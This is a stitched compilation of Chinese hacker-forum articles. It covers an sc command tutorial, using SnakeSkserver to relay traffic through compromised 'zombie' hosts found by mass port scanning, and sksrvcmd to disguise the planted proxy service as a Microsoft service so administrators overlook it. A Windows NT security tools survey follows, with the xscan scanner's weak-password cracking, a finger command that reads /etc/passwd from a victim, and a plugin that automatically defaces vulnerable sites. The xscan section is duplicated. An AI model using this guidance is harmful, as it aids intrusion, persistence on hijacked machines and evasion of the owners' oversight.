(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0

注意，这里存在一个给这个服务的退出码，即使这个服务部不在运行，键入net helpmsg 1077，将会得到对1077错误信息的说明：

上次启动之后，仍未尝试引导服务。

所以，这里我想说一句，希望大家可以活用net helpmsg，这会对你的学习有很大的帮助。

下面在对SC query的命令在说明一下：

列举活动服务和驱动程序状态，使用以下命令：
sc query

显示messenger服务，使用以下命令：
sc query messenger

只列举活动的驱动程序，使用以下命令：
sc query type= driver

列举Win32服务，使用以下命令：
sc query type= service

列举所有的服务和驱动程序，使用以下命令：
sc query state= all

用50 byte的缓冲区来进行列举，使用以下命令：
sc query bufsize= 50

在恢复列举时使用index=14，使用以下命令：
sc query ri=14

列举所有的交互式服务，使用以下命令：
sc query type= service type= interact

好了，说到这里。SC命令基本上已经说完了。希望大家好好看看，呵呵！相信会有帮助的！！


SnakeSkserver使用心得

    SnakeSkserver 使用的人很多，关于如何使用的教材网上也满天飞，我懒（ctrl+c，crtl+v也难得了），主要写下，使用SnakeSkserver和Sockscap配合使用中的一些问题。通常是（看图了）

图中肉鸡是61.x.x.x,socks5端口是1056。本机里Sockscap设置为，sock服务器:127.0.0.1,端口1029。socks版本5，本地解析所有域名。SkServerGUI.exe中配置-客户端，填127.0.0.1，允许。（也可以不写的哦，当然成公用代理了）运行选项-允许socks5代理，服务端口1029。经过的skserver写肉鸡ip 61.x.x.x 端口 1056（服务端口一定要改，默认的是1813，我经常大规模的扫开了1813的机器，找了不少肉鸡）

    上图，是我用客户终端连接后，在SkServerGUI.exe显示出来的结果，注意这个 sock5 -> snake代理，本机和肉鸡之间的连接只是普通的socks5代理。安全性低了很多。
     在设置SkServerGUI.exe时已经让自己的机器成了一个socks5代理了，列子中的为1029端口，其实可以这样把经过的skserver里，先填127.0.0.1，端口1029，允许，然后是肉鸡的，(注意顺序）然后在连接看看，结果如图：

不一样了哦，注意这个源地址 127.0.0.1 目的地址 61.x.x.x 状态 snake代理 -> snake代理 tcp连接：成功
数据都被加密了，(不怕嗅探器了？)。好了，现在可以更安全的使用你的跳板了！

沉睡不醒 2002/01/28
http://sss444.126.com
e-mail:leilao00000@sina.com


SNAKE最新出品sksrvcmd可以改变NT/2000服务属性

SNAKE最新出品sksrvcmd可以改变NT/2000服务的许多选项，比如针对SNAKESOCKSERVER远程安装以后服务名不管是什么，服务内容的描述都是SNAKE PROXY SERVER。有经验的网管在服务管理器里面非常容易看出问题来。当然通过NT/2000里图形界面工具可以改变描述。可惜不是每台肉机都有图形界面进入的权限（比如3389什么的）。现在好了，使用SNAKE的sksrvcmd我在命令行下面可以把这个描述改成诸如：
Microsoft NT Server 2000 NET KERNEL Services
一般的网管还不敢动呢。
Sksrvcmd和源代码地址：
http://snake12.top263.net/prog_research/sksrvcmd.htm
改服务描述的本地使用实例如下，实现其它功能可以在此基础上发挥：
D：>sksrvcmd
Snake Service Command Config tool.
Command Argument:
enum <ServiceStatus>
info <ServiceName>
set <ServiceName> <ChangeConfigType> <ChangeConfigValue>

by snake, 2001/8/01

http://snake12.top263.net
(mail: guest3323@21cn.com)

D：>sksrvcmd enum
Snake Service Command Config tool.
enum <ServiceStatus>
0 -- All
1 -- STOPPED
2 -- STARTING
3 -- STOPPING
4 -- RUNNING
5 -- Continue PENDING
6 -- Pause PENDING
7 -- PAUSED

D：>sksrvcmd enum 1
Enum Service fits status [STOPPED]
Alerter [Alerter]
AppMgmt [Application Management]
Browser [Computer Browser]
ClipSrv [ClipBook]
dmadmin [Logical Disk Manager Administrative Service]
Fax [Fax Service]
IsmServ [Intersite Messaging]
kdc [Kerberos Key Distribution Center]
mnmsrvc [NetMeeting Remote Desktop Sharing]
……………………以下省略若干行

下面用FAX这个服务实验:

D：>sksrvcmd info fax
Service [fax] Detail Information:
Service Type: Unknown.
Start Type: DEMAND_START
ErrorControl: ERROR_NORMAL
Binary Path Name: D:\WINNT\system32\faxsvc.exe
Load Order Group:
TagId: 0
Dependencies: TapiSrv
Service Start Name: LocalSystem
Display Name: Fax Service
Describe: 帮助您接收和发送传真

D：>sksrvcmd set
Snake Service Command Config tool.
set <ServiceName> <ChangeConfigType> <ChangeConfigValue>
StartType
PathName
StartUser
StartPassword
DisplayName
Describe

D：>sksrvcmd set fax describe 帮助我收发传真

D：>sksrvcmd info fax
Service [fax] Detail Information:
Service Type: Unknown.
Start Type: DEMAND_START
ErrorControl: ERROR_NORMAL
Binary Path Name: D:\WINNT\system32\faxsvc.exe
Load Order Group:
TagId: 0
Dependencies: TapiSrv
Service Start Name: LocalSystem
Display Name: Fax Service
Describe: 帮助我收发传真

D：>
=================补充====================
对于远程机器使用：
先IPC连接，然后
SkSrvCmd \\127.0.0.1 ... （后面加参数啦）
关于服务启动方式打听了一下，用数字表示：
1 = system
2 = auto
3 = manual
4 = disable
++++++++++++++++++++++
例：
sksrvcmd set fax starttype 2
就是什么什么意思了。


Windows NT安全工具----非微软篇

一．审核工具
对NT安全规划清楚的人都应该知道权限的设置正确与否是保证系统安全的重要步骤，但是如果你一个一个文件，目录的去查看的效率也太低了，为了提高效率的目的出发，所以就产生了审核工具这种东西，好，今天我就介绍一款审核工具------DumpACL。
DumpACL（我把它叫做ACL榨汁机），嘿嘿，我对这个东西的名称的中文叫法实在是莫法度，所以只好自己给它取名字拉）。它的下载地址为http://www.somarsoft.com
它主要是提取文件系统，registry,打印机，共享的权限DACLs和audit设置SACLs的信息。它还可以提取用户，组和replication信息。它还能够实现针对某一过滤规则来显示一些你感兴趣的安全设置，例如说只显示eveyrone的权限。
安装这个东东是很容易的事情，只要把dumpacl.exe和dumpacl.hlp放在同一个目录里就行了，直接运行，运行后dumpacl.exe将建立一个注册表键HKEY_CURRENT_USER\SOFTWARE\Somarsoft\DumpAcl，除此之外它不会改变系统的任何设置。使用dumpacl.exe /u的参数将显示一个提示信息它已经把这个键值给删除了，然后你把这些文件删除，这个东西就干净的清除了。
使用，下面就针对文件系统的审核和权限检查做一个小小的介绍：在report选项中的permissions report options中，可以进行一些过滤设置，这样做可以大大减少报告的大小。先看我dump自己的机器的信息，嘿嘿
先来看看图中的权限表达，最顶端有path,account,own,dir,file,success,failure这么7个项目，分别代表路径，帐户，所有者，目录权限，文件权限，成功审核，失败审核7个方面。下面我将就上图中的一些例子来进行说明：
c:\boot.ini是个文件，有关这个文件的说明有3行，第一行的意思是用户组power users对这个文件具有RX权限。第二行的意思是用户组administrators对这个文件具有All的权限并且是这个文件的所有者（看到哪个小o了），第三行的意思是system对这个文件具有ALL的权限。
C:\Documents and Setting\是个目录，有关这个目录的说明有5行，第一行的意思是system的目录和文件权限都为All,第二行的意思是administrators具有和system相同的权限并且它还是这个目录的所有者。第三行的意思是users具有目录和文件的RX权限。第四行的意思是Power Users具有文件和目录的RX权限。第五行的意思是everyone拥有文件和目录的RX权限。
说了这么多的ALL，RX…….不熟悉NT的人肯定满脑糨糊了吧，别急，下面就对这些东西进行解释。
目录权限：
R-- Account can list the contents of the directory.
W-- Account can add new files and subdirectories to the directory.
X-- Account can traverse the directory as part of a path.
D-- Account can delete the entire directory.
P --Account can change permissions for the directory and all files and subdirectories.
O --Account can change ownership of the directory.
All--Same as RWXDPO.
No access-- Account is denied all access to directory.
文件权限：
R --Account can read the file.
W-- Account can write to the file.
X-- Account can execute the file.
D-- Account can delete the file.
P-- Account can change permissions for the file.
O-- Account can change ownership of the file.
All--Same as RWXDPO.
No access --Account is denied all access to file.
审核：
R --Audit attempts to read file or list directory contents.
W --Audit attempts to write to file or add files/subdirectories to directory.
X-- Audit attempts to execute file or traverse directory as part of a path.
D --Audit attempts to delete file or directory.
P-- Audit attempts to change change permissions for the file or directory.
O --Audit attempts to change ownership of the file or directory.
All--Same as RWXDPO audit settings.
上面那点点英文应该难不住正在看文章的你吧，嘿嘿。
二．防火墙
防火墙技术目前的发展比较快，一般的将，防火墙分为包过滤防火墙，应用网关，代理防火墙几种，下面就针对一些典型的产品进行介绍，注意的是我没有钱购买那些大公司的产品，而很多的免费的东西又实在是我不喜欢的东西，就象某些产品的防火墙只有简单的3个选项，低，中，高三个防火级别，也许他们这样做是为了让别人更能够上手，但是这种不能细化安全的产品只适合个人普通用户。另外要说的一句就是不能迷信防火墙，因为这种一个产品就解决所有安全问题是不可能的。好了下面就针对一些NT下--的安全产品，就拿几个典型的防火墙来说明吧。

国产蓝盾
我没有企业版，但是它的个人版是免费的，呵呵，那就从个人版看企业版拉。先看看它的界面
这个产品的个人版很简单，最重要的也就2个窗口，一个就是上图的rules设置窗口，一个就是日志窗口，看这个个人版就是一个典型的包过滤防火墙，使用数据流向，源端口，目的地端口，数据标志位等等的信息来设置一个过滤准则，来确定到底是通过还是拦截。这当然需要有很深的tcp/ip的知识，不过蓝盾这个产品好就好在它自定了一个安全规则，他可以让你实现一定的服务，这些rules都有自己的中文说明，看起来还不错吧，当然它也有自己的缺点，就我使用的免费个人版来说，其中的finger工具简直就是废物一个，系统设置窗口放了一大堆的端口信息在那里不知所谓，声音报警开关竟然又独立一派，最可恨的是这个程序可能还不是很稳定，我几次系统不能正常关机，要把landon的进程关闭才能够正常关机。看他的主页上说(http://www.landon.com) 自己的企业级的防火墙具备NAT工能，那就是说他的企业防火墙还可以做成网关来使用了，呵呵，它还支持VPN，由于我手头没有软件，所以就不能对它做详细的评述了。
包过滤防火墙的核心或者说灵魂我认为是规则(rules)的设定，下面就规则的设定进行简单的讨论（注意下面的内容是针对对网络协议和工作有较坚厚基础的人的）。防火墙的规则是有先后顺序的，如果规则1先把本地web服务过滤掉了，那么以后即使有另外一条规则是开启本地web服务的，产生的结果仍然是web服务不能使用。防火墙对数据包的应答方法也各有不同，例如linux下的ipchains对于数据包有deny(抛弃),reject（拒绝）,allow(通过)三种,而蓝盾个人版里面的处理方法有拦截，通行，下一条三种，要注意各种处理方法的不同。另外防火墙对数据链路的方向性也有定义，一般情况下有output(输出)，input(输入),forward(转发)等,而蓝盾个人版没有定义转发，只有输入，输出和全向3种。再有防火墙还有丰富的可控制项目，例如协议，目标地址，源地址，目标地址端口，源地址端口，输入输出流向，和TCP/IP的标志位，ICMP的类型都能够作为规则的条件。了解了这些基础内容以后，我们就具体说一下一般防火墙规则的实现。
1．--首先我们要删除任何已经存在的规则，这样会有一个清晰的开始哦。而且不会在包还未经过你的过滤规则的时候，就和以前的规则进行了匹配。
2．--其次定义默认的规则，默认的规则就是指当所有的规则都不匹配的时候所采取的规则，默认规则一般有2种：禁止一切，接受一切。在这两个规则里面禁止一切的设置对防火墙的设置是比较难，但是安全，你只需要针对你想开启的服务进行设置防火墙的规则。如果你使用接受一切的默认规则，对于设置防火墙比较容易，但是不够安全，这需要你想象你所有可能有的服务，并对它设置。一般的情况下，商业防火墙所采用的默认规则都是禁止一切。
3．--启用回环接口，允许在lo的各类传输。
4．--禁止互连网端口<--------àA,B,C类专用IP地址的连接。
本来这些专用地址是用在内部网的，不应该出现在互联网络上，但是如果路由表配置错误，或者你的路由是自动路由的话，路由将转发伪造ip地址为此内网的主机的黑客主机的数据包。
5．--禁止互连网端口?-------à 127.0.0.0/8专用IP地址的连接。
这个专用地址是用来被系统软件内部调用的，这条规则防止使用这个IP地址进行欺骗。
6．--禁止互连网端口?--------- 来源于255.255.255.255的数据。
根本不应该有这个源地址的数据包，因为这个地址是广播地址呀。
7．--禁止互连网端口?--------- 目的是0.0.0.0的数据。
这个数据包是正常的，不过通常是用来刺探机器是否运行了BSD类的网络软件，由此来确定是否是unix机器（嘿嘿，在NT系统下最好也关闭这个东西）。
8．--禁止互连网端口?-------à源地址是D类地址的数据。
D类多点投送地址只有在做为目的地址的时候才合法。
9．--禁止互连网端口<---------à 目的地址是D类地址的数据。
只有多点投送的数据和音频服务需要多点投送和接受，你有吗？一般的情况你不会有这个服务吧。
10．--禁止互连网端口?---------- 源地址是E类地址的数据。
11．--ICMP消息控制协议比较复杂，不能够一概而论把它全都屏蔽掉，下面就ICMP常用类型做个简单介绍：(注意：这只是一个基本的纲要，你需要针对自己的特殊的情况进行修改，例如ICMP重定向攻击就需要把重定向的包过滤掉………….)
数字类型--名称--功能说明--防火墙策略
0--Echo-reply--Ping的响应--只允许回应信任主机。
3--Destination-unreachable--一般错误状态消息，在到达目的地中的路由器不能把包传送给下一个路由器。--允许输入输出都通过这种包。
4--Source-quench--路由器之间或者路由器和主机之间对于ip网络层流控制。--允许输入输出都通过这种包。
5--Redirect--当路由器确定存在更短路由时，返回发送者的路由信息。--看自己的需要。
8--Echo-request--Ping的请求。--允许这种数据包的输出。允许信任主机数据包的输入。
11--Time-exceeded--当包的TTL被超出是返回的路由消息。--允许输入输出都通过这种包。
12--Parameter-problem--在ip包中发现了非期望的值。--允许输入输出都通过这种包。
------
12．--下面就是各项internet服务的设置了，在设置这些内容的时候需要注意有两种情况需要我们当心：一种就是本机作为客户端，和本机作为服务端的设置。例如如果本机想作为DNS服务器供别人使用，那么就要允许本地53端口的输入和输出。如果要允许DNS服务器间的数据交换，就需要允许本地53端口和信任主机的53端口的通信。如果要允许本地主机作为远程DNS服务的客户端，就需要开启本地到远程DNS服务器的53端口的通信。其他的服务也是用上面的方法来进行开启。注意的是有些特殊的服务有着特殊的要求，例如常见的ftp服务有2个端口，21用来创建服务器初始化连接，传送用户命令。端口20用来创建数据通道，发送文件和目录列表数据。所以对ftp服务的防火墙又需要设置两个端口。所以在设置防火墙的时候需要要求你有丰富的tcp/ip的知识。下面列出一些常用的服务的端口和协议。
服务--SMTP--POP--Telnet--FTP--WEB--SSH--NNTP--Tracerout--DHCP
端口--25--110--23--21.20--80--22--119--33434--67,68
协议--TCP--TCP--TCP--TCP--TCP--TCP--TCP--UDP--UDP
三．扫描工具
扫描器可以帮助你检查自己网络的脆弱性，虽然说有很多的国外的商业扫描器是十分好的作品，但是笨重的身躯和繁长的报告能让你头痛3天，为此，我在这里特别给大家介绍一个国产的免费的扫描器-----xscan。Xscan的作者就是冰河，它的最大的优点就是中文的报告，和对漏洞的中文的评述（我认为）。它最大的缺点就是功能仍然不够全面，感觉对CGI漏洞的扫描功能做的比较好，其他的漏洞检查仍然需要大力改进，而且速度比较慢。好了，废话少说，先让我们看看它的说明书吧。
一.系统要求：Windows 98/NT4.0/2000
二.功能简介：
采用多线程方式对指定IP地址段(或单机)进行安全漏洞扫描，支持插件功能，提供了图形界面和命令行两种操作方式，扫描内容包括：标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL-SERVER默认帐户、FTP弱口令，NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC等漏洞，我们给出了相应的漏洞描述、利用程序及解决方案，其它漏洞资料正在进一步整理完善中，您也可以通过本站的"安全文献"和"漏洞引擎"栏目查阅相关说明。

三.所需文件：

xscan_gui.exe -- X-Scanner图形界面
xscan.exe -- X-Scanner for Windows 98/NT4.0/2000 主程序
mssql.dll -- SQL动态链接库
netbios.dll -- NetBios动态链接库
oncrpc.dll -- OncRpc动态链接库
readme.txt -- 使用说明
/dat/config.ini -- 用户配置文件，包括扫描端口、默认用户名及口令等信息
/dat/cgi.lst -- CGI漏洞列表
/dat/rpc.ini -- RPC程序名称及漏洞列表
/dat/ntuser.dic -- NT主机用户名字典文件，用于扫描NT弱口令用户
/dat/ntpass.dic -- NT主机密码字典，用于扫描NT弱口令用户
/plugin -- 用于存放所有插件(后缀名为.nfs)，插件也可放在xscan.exe所在目录的其他子目录中，程序会自动搜索。

/cgi/*.htm -- CGI漏洞描述及解决方案，其中index.htm为主索引文件
/cgi/ -- CGI漏洞利用程序及实例
/rpc/*.htm -- RPC漏洞描述及解决方案，其中index.htm为主索引文件
/rpc/ -- RPC漏洞利用程序及实例

注：cgi目录和rpc目录内仅包含各漏洞说明及利用程序，并非扫描器所必需的文件。

四.运行参数说明：

1.命令行：Xscan [起始地址]<-[终止地址]> [扫描选项]

其中的[扫描选项]含义如下：
-port : 扫描标准端口(端口列表可通过\dat\config.ini文件定制)；
-banner : 获取开放端口的banner信息，需要与-p参数合用；
-cgi : 扫描CGI漏洞；
-rpc : 扫描RPC漏洞；
-sql : 扫描SQL-SERVER默认帐户；
-ftp : 尝试FTP默认用户登录(用户名及口令可以通过\dat\config.ini文件定制)；
-netbios: 获取NetBios信息(若远程主机操作系统为Windows9x/NT4.0/2000)；
-ntpass : 尝试弱口令用户连接(若远程主机操作系统为Windows NT4.0/2000)；
-all : 扫描以上全部内容；

-v : 显示详细扫描进度；
-d : 禁止扫描前PING被扫主机。
-plugin : 使用插件；

-t [线程数量]: 设置线程数量，默认为20个线程，最大值为50；
-proxy [代理服务器:端口]: 通过代理服务器扫描漏洞，目前只适用于"-cgi"选项；

2.示例：
xscan xxx.xxx.1.1-xxx.xxx.10.255 -all -plugin
含义：扫描XXX.XXX.1.1-XXX.XXX.10.255网段内主机的所有信息，并使用插件；

xscan xxx.xxx.1.1 -netbios -ntpass -t 30
含义：获取XXX.XXX.1.1主机的Netbios信息，并检测NT弱口令用户，线程数量为30；

xscan xxx.xxx.1.1 -port -banner -cgi -proxy 129.66.58.13:80 -v -d
含义：扫描xxx.xxx.1.1主机的标准端口状态，通过代理服务器"129.66.58.13:80"扫描CGI漏洞，检测端口banner信息，且扫描前不通过ping命令检测主机状态，显示详细扫描进度。

五.数据文件格式：

1."dat\config.ini"：

[PORT-LIST]：待扫描端口，格式为"Port=端口1,端口2,端口3..."；
[FTP-DEFAULT-ACCOUNTS]：FTP默认帐户，格式为"用户名=口令1,口令2..."；
[NT-PASS-DICT]：设置NT用户名及密码字典所在位置，用于扫描NT弱口令用户，格式为"user_dict=.\dat\nt_user.dic"；"pass_dict=.\dat\nt_pass.dic"，可根据需要更改字典文件名"ntuser.dic"和"ntpass.dic"，文件名为空表示不使用字典文件(如"pass_dict=")。注：只有当无法通过NETBIOS获取对方用户列表时，才从字典文件中获取用户名，否则用户名字典无效，程序将以当前服务器中用户列表作为用户名字典；
[NT-DEFAULT-ACCOUNTS]：NT默认帐户，当无法通过NETBIOS获取用户名列表而且又未设置用户名字典时，将由该处获取用户名及口令，格式为"用户名=口令1,口令2..."；
[SQL-SERVER-DEFAULT-ACCOUNTS]：SQL-SERVER默认帐户，格式为"用户名=口令1,口令2..."；

2."dat\cgi.lst"：

CGI程序路径1
CGI程序路径2
CGI程序路径3
......

3."dat\rpc.ini"：

1) 存在漏洞的RPC程序列表，内容及格式如下：

[编号1]
ID=程序ID；name=程序名称；alias=程序别名；version=程序版本；protocol=协议；level=风险等级。

[编号2]
......

2) RPC程序ID与名称对应表：

[RPC-NAME]：已知的RPC名称，格式为"程序ID = 程序名称,程序别名1 程序别名2 ..."。
六.插件接口：
1. bind.nfs
扫描漏洞：1) bind NXT records漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=114
2) ISC Bind 8 TSIG缓冲区溢出漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=1230
3) DNS Supports IQUERY漏洞
参考http://www.whitehats.com/info/IDS277
溢出程序参考http://www.securityfocus.com/vdb/?id=134
2. finger.nfs
扫描漏洞：1) finger 0@host漏洞
参考http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
2) FreeBSD 4.1.1 finger漏洞
FreeBSD 4.1.1的finger实现有问题，执行finger filename@victim，可以看到文件内容，例如finger /etc/passwd@victim可以看到passwd文件
3) finger重定向漏洞
执行finger @host@victim，可以用victim做代理来finger host主机
3. sygate.nfs
扫描漏洞：1) 某些版本的sygate有一个后门，可以通过7323端口远程控制
参考http://www.securityfocus.com/vdb/?id=952
中文http://security.nsfocus.com/showQuery.asp?bugID=273
4. RedV.nfs
老鬼(colossus)为纪念2001年5月1日-2001年5月7日所做，自动更换页面插件，将编辑好的Index.htm文件存放至xscan.exe所在目录下的dat目录，当扫描出对方存在SQL-SERVER默认帐户、NT管理员空口令、UNICODE中的任何一种漏洞，将自动用Index.htm文件覆盖对方原索引文件，其中UNICODE漏洞仅限于英文WINDOWS，本插件仅供学习及技术交流之用，请勿滥用。
好了，有着冰河这么一个优秀的程序设计人员在开发它，我们只要等待+鼓励+帮助，那么很快xscan将迅速成长起来。当然如果你的机器需要特别的“照顾”的话，可以选用一些商业扫描器，例如ISS,retina等等。
四．IDS
我没有用过NT 下的几个满意的，对于这种工具很多都是商业用的，需要money去买，嘿嘿…….，不过我还是给大家推荐一款自称是IDS的NT下的工具。
Fport这个工具的主要用途就是列出你所开启的端口和程序，他一共就是3个文件，很小，但是很能干哦，我想对于查找那些不明程序的开了什么端口很有效果。下面是他的输出：
FPort v1.33 - TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com

Pid Process Port Proto Path
392 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
8 System -> 139 TCP
8 System -> 445 TCP
512 MSTask -> 1025 TCP C:\WINNT\system32\MSTask.exe
8 System -> 1027 TCP

392 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 137 UDP
8 System -> 138 UDP
8 System -> 445 UDP
220 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
208 services -> 1026 UDP C:\WINNT\system32\services.exe
很清楚吧，但是它自称是 IDS似乎是有点夸大了。哎，要是谁有什么有趣的IDS软件给我玩玩就好了。
六．--其他
SecureIIS 1。0。4
Eeye安全公司（http://www.eeye.com)刚刚不久推出一款新的产品SecureIIS,这个东东是一个具备防火墙和入侵检测系统特性的产品，它能够保护IIS系统不受已知或者未知的入侵方法的侵害，它工作在应用程序层，包裹在IIS外面来检测数据安全 ，让攻击变的更加困难。
安装好这个工具以后，然后选定你想要保护的站点，接着就是自定义保护项目了，在这里一共有7个项目，我们将在下面一一进行介绍。
Buffer overflow-----常用的攻击方法，产生原因是由于攻击者使用一个发送一个大的请求到WEB服务器，WEB服务器尝试把这个大的请求copy到一个较小的缓冲器里，这样一个Buffer overflow就产生了，如果攻击者发送一个特别的缓冲的来溢出的话，他可能能够在你的 WEB服务器上执行一些命令。
ShellCode Protection-----检查数据中可能存在的执行命令经过你的服务器。
Keyword Filtering------ 默写确定的攻击种类可以使用过滤关键字的方法停止，例如过滤掉cmd.exe和system32，嘿嘿，最近很常见的攻击哦。
Allowed Folders-------加入一些检查的路径将使你的WEB避免遭受一些Directory Traversal Attacks。
Http Method---------WEB服务的请求方法的限定将使你的服务器更加安全。缺省情况下SecureIIS只允许GET和POST两种方法，嘿嘿，如果你的WEB没有留言本，论坛等等需要POST的请求的页面，那么连POST也可以省掉了.
Miscellaneous-------一些分类模糊的攻击模式的保护就在这里拉。
Sellect error file-------错误文件的选择。
总的来说那，这个产品的确是有点新意，但是毕竟才刚刚开发出来，许多的功能仍需要完善，就例如说它的1.0.3版本虽然对ADMIN的关键字进行检查，但是对于解码的关键字就没有进行检查例如"%41DMIN"的请求就通过了…….咳，说什么好呢，革命尚未完成，同志还要努力呀。哈哈
忘记唠叨一句，在它的子目录policies里有一个default.ini是一个缺省的配置，你可以看看它到底做了些什么。
三．扫描工具
扫描器可以帮助你检查自己网络的脆弱性，虽然说有很多的国外的商业扫描器是十分好的作品，但是笨重的身躯和繁长的报告能让你头痛3天，为此，我在这里特别给大家介绍一个国产的免费的扫描器-----xscan。Xscan的作者就是冰河，它的最大的优点就是中文的报告，和对漏洞的中文的评述（我认为）。它最大的缺点就是功能仍然不够全面，感觉对CGI漏洞的扫描功能做的比较好，其他的漏洞检查仍然需要大力改进，而且速度比较慢。好了，废话少说，先让我们看看它的说明书吧。
一.系统要求：Windows 98/NT4.0/2000
二.功能简介：
采用多线程方式对指定IP地址段(或单机)进行安全漏洞扫描，支持插件功能，提供了图形界面和命令行两种操作方式，扫描内容包括：标准端口状态及端口banner信息、CGI漏洞、RPC漏洞、SQL-SERVER默认帐户、FTP弱口令，NT主机共享信息、用户信息、组信息、NT主机弱口令用户等。扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件。对于一些已知的CGI和RPC等漏洞，我们给出了相应的漏洞描述、利用程序及解决方案，其它漏洞资料正在进一步整理完善中，您也可以通过本站的"安全文献"和"漏洞引擎"栏目查阅相关说明。

三.所需文件：

xscan_gui.exe -- X-Scanner图形界面
xscan.exe -- X-Scanner for Windows 98/NT4.0/2000 主程序
mssql.dll -- SQL动态链接库
netbios.dll -- NetBios动态链接库
oncrpc.dll -- OncRpc动态链接库
readme.txt -- 使用说明
/dat/config.ini -- 用户配置文件，包括扫描端口、默认用户名及口令等信息
/dat/cgi.lst -- CGI漏洞列表
/dat/rpc.ini -- RPC程序名称及漏洞列表
/dat/ntuser.dic -- NT主机用户名字典文件，用于扫描NT弱口令用户
/dat/ntpass.dic -- NT主机密码字典，用于扫描NT弱口令用户
/plugin -- 用于存放所有插件(后缀名为.nfs)，插件也可放在xscan.exe所在目录的其他子目录中，程序会自动搜索。

/cgi/*.htm -- CGI漏洞描述及解决方案，其中index.htm为主索引文件
/cgi/ -- CGI漏洞利用程序及实例
/rpc/*.htm -- RPC漏洞描述及解决方案，其中index.htm为主索引文件
/rpc/ -- RPC漏洞利用程序及实例

注：cgi目录和rpc目录内仅包含各漏洞说明及利用程序，并非扫描器所必需的文件。

四.运行参数说明：

1.命令行：Xscan [起始地址]<-[终止地址]> [扫描选项]

其中的[扫描选项]含义如下：
-port : 扫描标准端口(端口列表可通过\dat\config.ini文件定制)；
-banner : 获取开放端口的banner信息，需要与-p参数合用；
-cgi : 扫描CGI漏洞；
-rpc : 扫描RPC漏洞；
-sql : 扫描SQL-SERVER默认帐户；
-ftp : 尝试FTP默认用户登录(用户名及口令可以通过\dat\config.ini文件定制)；
-netbios: 获取NetBios信息(若远程主机操作系统为Windows9x/NT4.0/2000)；
-ntpass : 尝试弱口令用户连接(若远程主机操作系统为Windows NT4.0/2000)；
-all : 扫描以上全部内容；

-v : 显示详细扫描进度；
-d : 禁止扫描前PING被扫主机。
-plugin : 使用插件；

-t [线程数量]: 设置线程数量，默认为20个线程，最大值为50；
-proxy [代理服务器:端口]: 通过代理服务器扫描漏洞，目前只适用于"-cgi"选项；

2.示例：
xscan xxx.xxx.1.1-xxx.xxx.10.255 -all -plugin
含义：扫描XXX.XXX.1.1-XXX.XXX.10.255网段内主机的所有信息，并使用插件；

xscan xxx.xxx.1.1 -netbios -ntpass -t 30
含义：获取XXX.XXX.1.1主机的Netbios信息，并检测NT弱口令用户，线程数量为30；

xscan xxx.xxx.1.1 -port -banner -cgi -proxy 129.66.58.13:80 -v -d
含义：扫描xxx.xxx.1.1主机的标准端口状态，通过代理服务器"129.66.58.13:80"扫描CGI漏洞，检测端口banner信息，且扫描前不通过ping命令检测主机状态，显示详细扫描进度。

五.数据文件格式：

1."dat\config.ini"：

[PORT-LIST]：待扫描端口，格式为"Port=端口1,端口2,端口3..."；
[FTP-DEFAULT-ACCOUNTS]：FTP默认帐户，格式为"用户名=口令1,口令2..."；
[NT-PASS-DICT]：设置NT用户名及密码字典所在位置，用于扫描NT弱口令用户，格式为"user_dict=.\dat\nt_user.dic"；"pass_dict=.\dat\nt_pass.dic"，可根据需要更改字典文件名"ntuser.dic"和"ntpass.dic"，文件名为空表示不使用字典文件(如"pass_dict=")。注：只有当无法通过NETBIOS获取对方用户列表时，才从字典文件中获取用户名，否则用户名字典无效，程序将以当前服务器中用户列表作为用户名字典；
[NT-DEFAULT-ACCOUNTS]：NT默认帐户，当无法通过NETBIOS获取用户名列表而且又未设置用户名字典时，将由该处获取用户名及口令，格式为"用户名=口令1,口令2..."；
[SQL-SERVER-DEFAULT-ACCOUNTS]：SQL-SERVER默认帐户，格式为"用户名=口令1,口令2..."；

2."dat\cgi.lst"：

CGI程序路径1
CGI程序路径2
CGI程序路径3
......

3."dat\rpc.ini"：

1) 存在漏洞的RPC程序列表，内容及格式如下：

[编号1]
ID=程序ID；name=程序名称；alias=程序别名；version=程序版本；protocol=协议；level=风险等级。

[编号2]
......

2) RPC程序ID与名称对应表：

[RPC-NAME]：已知的RPC名称，格式为"程序ID = 程序名称,程序别名1 程序别名2 ..."。
六.插件接口：
1. bind.nfs
扫描漏洞：1) bind NXT records漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=114
2) ISC Bind 8 TSIG缓冲区溢出漏洞
参考http://security.nsfocus.com/showQuery.asp?bugID=1230
3) DNS Supports IQUERY漏洞
参考http://www.whitehats.com/info/IDS277
溢出程序参考http://www.securityfocus.com/vdb/?id=134
2. finger.nfs
扫描漏洞：1) finger 0@host漏洞
参考http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
2) FreeBSD 4.1.1 finger漏洞
FreeBSD 4.1.1的finger实现有问题，执行finger filename@victim，可以看到文件内容，例如finger /etc/passwd@victim可以看到passwd文件
3) finger重定向漏洞
执行finger @host@victim，可以用victim做代理来finger host主机
3. sygate.nfs
扫描漏洞：1) 某些版本的sygate有一个后门，可以通过7323端口远程控制
参考http://www.securityfocus.com/vdb/?id=952
中文http://security.nsfocus.com/showQuery.asp?bugID=273
4. RedV.nfs
老鬼(colossus)为纪念2001年5月1日-2001年5月7日所做，自动更换页面插件，将编辑好的Index.htm文件存放至xscan.exe所在目录下的dat目录，当扫描出对方存在SQL-SERVER默认帐户、NT管理员空口令、UNICODE中的任何一种漏洞，将自动用Index.htm文件覆盖对方原索引文件，其中UNICODE漏洞仅限于英文WINDOWS，本插件仅供学习及技术交流之用，请勿滥用。
好了，有着冰河这么一个优秀的程序设计人员在开发它，我们只要等待+鼓励+帮助，那么很快xscan将迅速成长起来。当然如果你的机器需要特别的“照顾”的话，可以选用一些商业扫描器，例如ISS,retina等等。
